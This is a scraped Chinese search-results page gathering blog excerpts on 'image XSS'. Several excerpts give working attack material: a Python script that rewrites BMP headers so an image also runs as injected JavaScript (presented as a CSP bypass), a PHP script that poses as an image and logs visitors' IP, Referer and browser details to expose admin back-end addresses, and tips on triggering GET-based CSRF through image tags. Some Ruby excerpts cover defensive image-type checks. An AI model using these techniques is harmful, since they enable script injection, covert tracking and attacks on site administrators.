精华内容
下载资源
问答
  • 图片XSS

    千次阅读 2019-10-07 10:53:44
    参见:https://woj.app/1785.html
    展开全文
  • 本文讲的是浅析图片XSS中的哪些技术问题,跨站请求漏洞是web漏洞中最普遍的漏洞,在特定的场景下可以造成很严重的破坏。可以让攻击者在受害者浏览器上执行一个恶意脚本,网络上关于这方面的文章已经很多了。 危害 ...
    本文讲的是浅析图片XSS中的哪些技术问题跨站请求漏洞是web漏洞中最普遍的漏洞,在特定的场景下可以造成很严重的破坏。可以让攻击者在受害者浏览器上执行一个恶意脚本,网络上关于这方面的文章已经很多了。

    危害

    想象下,如果我们能够在图片里直接插入JS脚本,并且在访问图片的时候能够触发这个脚本。那么我们就可以在网站文章下面的留言中上传图片,让用户不知不觉中招。

    生成图片

    首先,以下脚本是一个向gif文件中注入JavaScript的脚本:

    http://pastebin.com/6yUbfGX5

    还有这个,是向bmp中注入的:

    http://pastebin.com/04y7ee3u

    两个都是用python写的,其中,我们注意到他们的重点是:

    以下是对GIF的头部进行的处理:

    浅析图片XSS中的哪些技术问题

    用Hexadecimal打开,可以看到元数据GIF89a。

    浅析图片XSS中的哪些技术问题

    此外就是注入的内容:

    浅析图片XSS中的哪些技术问题

    演示过程

    把脚本放到kali下执行

    浅析图片XSS中的哪些技术问题

    接下来,我们运行如下命令,将语句注入到图片中。以下是一个弹窗语句,在实际应用中,语句就很可能变成直接盗取cookie

    浅析图片XSS中的哪些技术问题

    好了,现在在html页面中直接加载图片,看xss是否可以被执行:

    浅析图片XSS中的哪些技术问题

    开启网站服务,apache2

    浅析图片XSS中的哪些技术问题

    访问页面,发现js脚本成功被执行:

    浅析图片XSS中的哪些技术问题

    我们可以把语句改成以下,就能重定向了:

    浅析图片XSS中的哪些技术问题

    也有用C或者ASM做的工具:

    https://github.com/jklmnn/imagejs

    https://gist.github.com/ajinabraham/f2a057fb1930f94886a3

    如何防范

    防御这类漏洞是很难的,不过有以下几点建议可以参考:

    过滤用户输入内容
    用白名单的方式限制元素的加载,及时是来自同一个域
    用一些高级的开发模型例如MVC, PEAR, SRUTS…
    使用令牌系统

    总结

    XSS漏洞存在于互联网的各个角落,千万不能忽视他的存在。开发的过程中一定要记得过滤用户输入。




    原文发布时间为:2017年2月15日
    本文作者:Change
    本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
    展开全文
  • 图片xss的利用方法

    2019-10-02 04:34:37
    在使用类似ueditor这样的网页编辑器时,由于编辑器本身支持的源码编辑功能,如果过滤的不够完善,攻击者可以通过写入js来执行...前段时间,我就在尝试利用了外部链接进行csrf时,小伙伴提醒我可以尝试一下图片xss...

      在使用类似ueditor这样的网页编辑器时,由于编辑器本身支持的源码编辑功能,如果过滤的不够完善,攻击者可以通过写入js来执行脚本语句,达成存储型xss的效果。

      当然,如今的编辑器安全方面做的都已经相当不错,能够自动触发的恶意脚本已经是很难写入了,剩下还比较容易受控的,就是点击触发的外部链接了。前段时间,我就在尝试利用了外部链接进行csrf时,小伙伴提醒我可以尝试一下图片xss的方法,该方法和恶意外部链接的手段差不多,就是在编辑器引入外部图片的src地址时,修改为一个恶意地址,由于图片自动加载的特性,审核人员在查看该页面时会总动触发该请求,如果该请求是一个有效的csrf,就可以在无声无息间~~~~。

      感觉不算是一个漏洞,实际的利用还是要结合其他诸如csrf漏洞,而且由于是在img标签的src里,如果请求的页面里有什么js脚本也不会被执行,所以顶多只能搞搞get类型的csrf,所以貌似危害不是很大,也不太好处理。后来小伙伴又提出了jsonp劫持的概念,表示没有研究过,貌似和csrf差不大多。

      为了探究它还能做什么,我稍稍研究了一番。简单记录一下:

    #0x01 CSRF

      csrf不需要细说了,使用条件比较苛刻,不过我在某站后台里确实找到get型的csrf利用,可以删除除管理员外的其他用户数据。

    #0x02 打后台地址

      在别人博客上看到有提到可以用这种图片xss拿别人后台,没看到具体的方法,不过博主提到是用Php伪造了一张图片,且这种方法无法拿cookie,只能获取后台、浏览器、IP地址之类的信息。

      没看到代码只好自己寻思,无法拿cookie说明并没有同源的脚本执行,后台地址、浏览器、IP地址之类其实就是Header头,而header头信息是访问请求里自带的,然后用Php脚本提取出来并记录。

      想到就做,用自己蹩脚的Php实现了一下:

    <?php
    
    	$keys=array('HTTP_REFERER','REMOTE_ADDR','HTTP_USER_AGENT');
    
    	//file_put_contents('result',$_SERVER);
    
    	$headers='';
    
    	foreach($_SERVER as $key=>$value){
    
    		if(in_array($key,$keys)){
    
    			$headers.='|'.$key.':'.$value;
    
    			//echo $headers;
    
    		}
    
    	}
    
    	file_put_contents('result',$headers."\n",FILE_APPEND);
    	echo file_get_contents('test.jpg');
    
    ?>
    

      为了不引起怀疑,还特地返回了一张图片。

      测试了下效果(<img src="http://192.168.124.129:8888/test.php"/>),你打开网页看到图片的同时,对方已经拿到你的地址了。

      如果你当前是在管理员页面做审核,你的管理员地址就暴露了。 

      不过有些网站做了meta referer设置,referer就抓不到了。

    #0x03 另一种情景的图片执行js

      在绕过csp时可能会用到,如果网站阻止了外域js,可以通过上传一个可执行Js语法的图片来造成xss。

    大佬的代码:

    #!/usr/bin/env python2.7
    import os
    import argparse
    def injectFile(payload,fname):
            f = open(fname,"r+b")
            b = f.read()
            f.close()
     
            f = open(fname,"w+b")
            f.write(b)
            f.seek(2,0)
            f.write(b'\x2F\x2A')
            f.close()
     
            f = open(fname,"a+b")
            f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
            f.write(payload)
            f.close()
            return True
     
    if __name__ == "__main__":
            parser = argparse.ArgumentParser()
            parser.add_argument("filename",help="the bmp file name to infected")
            parser.add_argument("js_payload",help="the payload to be injected. For exampe: \"alert(1);\"")
            args = parser.parse_args()
            injectFile(args.js_payload,args.filename)
    

      主要是通过修改文件结构让图片变成符合js语法的文件。

    <html>
    <head><title>Opening an image</title> </head>
    <body>
    	<img src="logo.bmp"\>
    	<script src= "logo.bmp"> </script>
    </body>
    </html> 

    尝试后, 图片既可以显示又可以执行js语句。原因似乎是因为浏览器在进行content种别判断时,不单考虑content_type,还会根据content的内容进行判断。

    ps:有些图片无法成功,原因是注释掉的中间图片本身内容破坏了会破坏js结构。

    #0x04参考

      https://blog.csdn.net/qq_27446553/article/details/45498489

      http://xdxd.love/2015/04/10/csp%E7%BB%95%E8%BF%87/

      https://woj.app/1785.html

      https://blog.csdn.net/microad_liy/article/details/6733847

    转载于:https://www.cnblogs.com/apossin/p/10169890.html

    展开全文
  • image xss 3.ruby防止图片xss攻击的方法

    千次阅读 2011-08-31 11:27:22
    图片的实际类型,后缀名和content_type一致的话,能确保图片不能发动xss攻击。 4、代码  is_safe_image = false  image_real_format = real_content_type(file_path) is_safe_image = ...

    1、Rmagick插件中允许的content_type类型

    \vendor\plugins\attachment_fu\lib\technoweenie\attachment_fu.rb 5~35行

    image/jpeg | image/pjpeg | image/jpg | image/gif | image/png | image/x-png


    2、ruby Rmagick content_type、Magick::ImageList.new(file_path).format与图片实际类型及后缀名的关系


    3、由1和2得出下表为安全图片


    图片的实际类型,后缀名和content_type一致的话,能确保图片不能发动xss攻击。


    4、代码

     is_safe_image = false

     image_real_format = real_content_type(file_path)

    is_safe_image = true if "GIF" == image_real_format && "gif" == image_suffix && %q|image/gif| == image_content_type

     is_safe_image = true if "PNG" == image_real_format && "png" == image_suffix && %w(image/png image/x-png).member?(image_content_type)

    is_safe_image = true if "JPEG" == image_real_format && %w(jpg jpeg jpe jfif).member?(image_suffix) && %w(image/jpeg image/pjpeg image/jpg).member?(image_content_type)


    def real_content_type(file_path)

        Magick::ImageList.new(file_path).format

    end


    展开全文
  • xss

    2020-08-07 17:20:30
    文章目录XSS基础知识HTML字符实体js执行方式html事件事件绕过姿势html基础js基础浏览器安全策略同源策略http-only安全策略下的通信http-only属性开启情况下同源策略情况下XSS介绍XSS概念XSS危害XSS漏洞原理XSS分类...
  • XSS

    2019-10-24 08:10:49
    XSS 什么是XSS XSS攻击通常指的是通过利用网页开发留下来的漏洞,通过巧妙的方法注入恶意代码到网页,使用户加载并执行攻击的网页程序。 XSS中文称跨站脚本攻击(Cross Site Scripting)缩写为CSS,但是这会与层叠...
  • Xss

    2019-07-16 19:38:04
    XSS漏洞 XSS-跨站脚本攻击 是注入型的漏洞,利用提交数据时提交恶意的脚本代码到访问的页面,使页面识别代码并执行。 服务器对用户提交的数据过过滤不严格 提交到服务器脚本被直接返回客户端执行 脚本在客户端执行...
  • XSS的一些简单姿势

    2019-05-12 11:16:21
    XSS的一些简单姿势通过javascript指令实现的图片无引号无分号不区分大小写的xss攻击向量默认SRC...图片xss依靠javascript指令实现。(IE7.0不支持javascript指令在图片上下文中,但是可以在其他上下文触发。下面的...
  • 发生image xss的条件  ・ IE6、IE7  ・图片的magic bite和content_type不一致 (解释①图片magic bite) 发生image xss的原因  Ie在进行content种别判断时,不单考虑content_type,还
  • XSS概念

    2021-03-19 00:06:29
    XSS概念 通过“HTML”篡改网页,插入恶意脚本,实现控制用户浏览器。 利用XSS盗取cookie、钓鱼、制作蠕虫 XSS分为DOM型、存储型、反射型 存储型:(脚本写入数据库)用户访问已经被黑客注入XSS脚本后恶意入侵过的...
  • XSS总结

    2020-11-19 22:04:58
    xss理解 1、简介 xss(cross site script)跨站脚本攻击,为了避免与css混淆,所以简称为xss。 2、什么是xss xss全称叫跨站脚本攻击,因为应用使用了js框架,因为应用未做任何防御措施,导致了攻击者使用对应的payload...
  • xss基础

    2021-02-05 15:42:34
    一、XSS简介 xss被称为跨站脚本攻击,通过精心构造的js代码注入到网页中,并由浏览器解析这段js代码,以达到恶意攻击的效果,发生在服务器,常在微博、留言板、聊天室等用户输入的地方,存在xss攻击风险 二、XSS危害...
  • XSS原理

    2021-03-06 15:26:33
    复制网页:不能直接复制源码,类似于图片之类的数据无法复制,可以Ctrl+S保存,得到HTML源码和一个文件夹,文件夹包含图片与JS脚本等内容,将两个文件放入自己搭建的站点,既可复制网页。钓鱼网页也是类似的做法,将...
  • XSS学习

    2017-12-20 09:40:44
    看WebGoat的XSS部分总结的一部分东西,算是XSS入门
  • XSS Bypass

    2018-07-30 18:22:22
    1. XSS攻击原理 XSS原称为CSS(Cross-Site Scripting),因为和层叠样式表(Cascading Style Sheets)重名,所以改称为XSS(X一般有未知的含义,还有扩展的含义)。XSS攻击涉及到三方:攻击者,用户,web server。用户是...
  • 按照以下步骤,可以轻松制作出能发动xss攻击的.gif、.jpg图片。 1。制作原始图片  图1 这里为什么设置背景色? 为了图7处加入js脚本后,js脚本能够被执行的成功率更高。(js被加到图片的comment...
  • xss植入_XSS攻击

    2020-12-21 06:53:13
    alert('hack')回车,跨站脚本攻击成功利用xss获取用户cookie由于script标签可以加载远程服务器的javascript代码并且执行,所以在自己的服务器下编写cookie.js。编写cookie.js用dom生成表单然后提交,不推荐这种...
  • XSS简介

    2019-10-17 16:37:44
    XSS简介 0x10 跨站脚本 (Cross-site scripting, 简称XSS) 是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML...
  • xss弹窗

    千次阅读 2018-12-17 20:00:20
    xss test&lt;/head&gt; &lt;body&gt; &lt;script&gt; alert("xss")&lt;/script&gt; &lt;meta http-equiv="refresh" content="0;"&
  • XSS专题

    2020-09-08 18:25:46
    ①钓鱼页面+xss结合使用 典型 cs+xss组合拳 //① <script>alert(url)</script> //② <script src="http://192.168.56.132/pkxss/xfish/fish.php"></script> //③html注入钓鱼 <script>...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 24,024
精华内容 9,609
关键字:

图片xss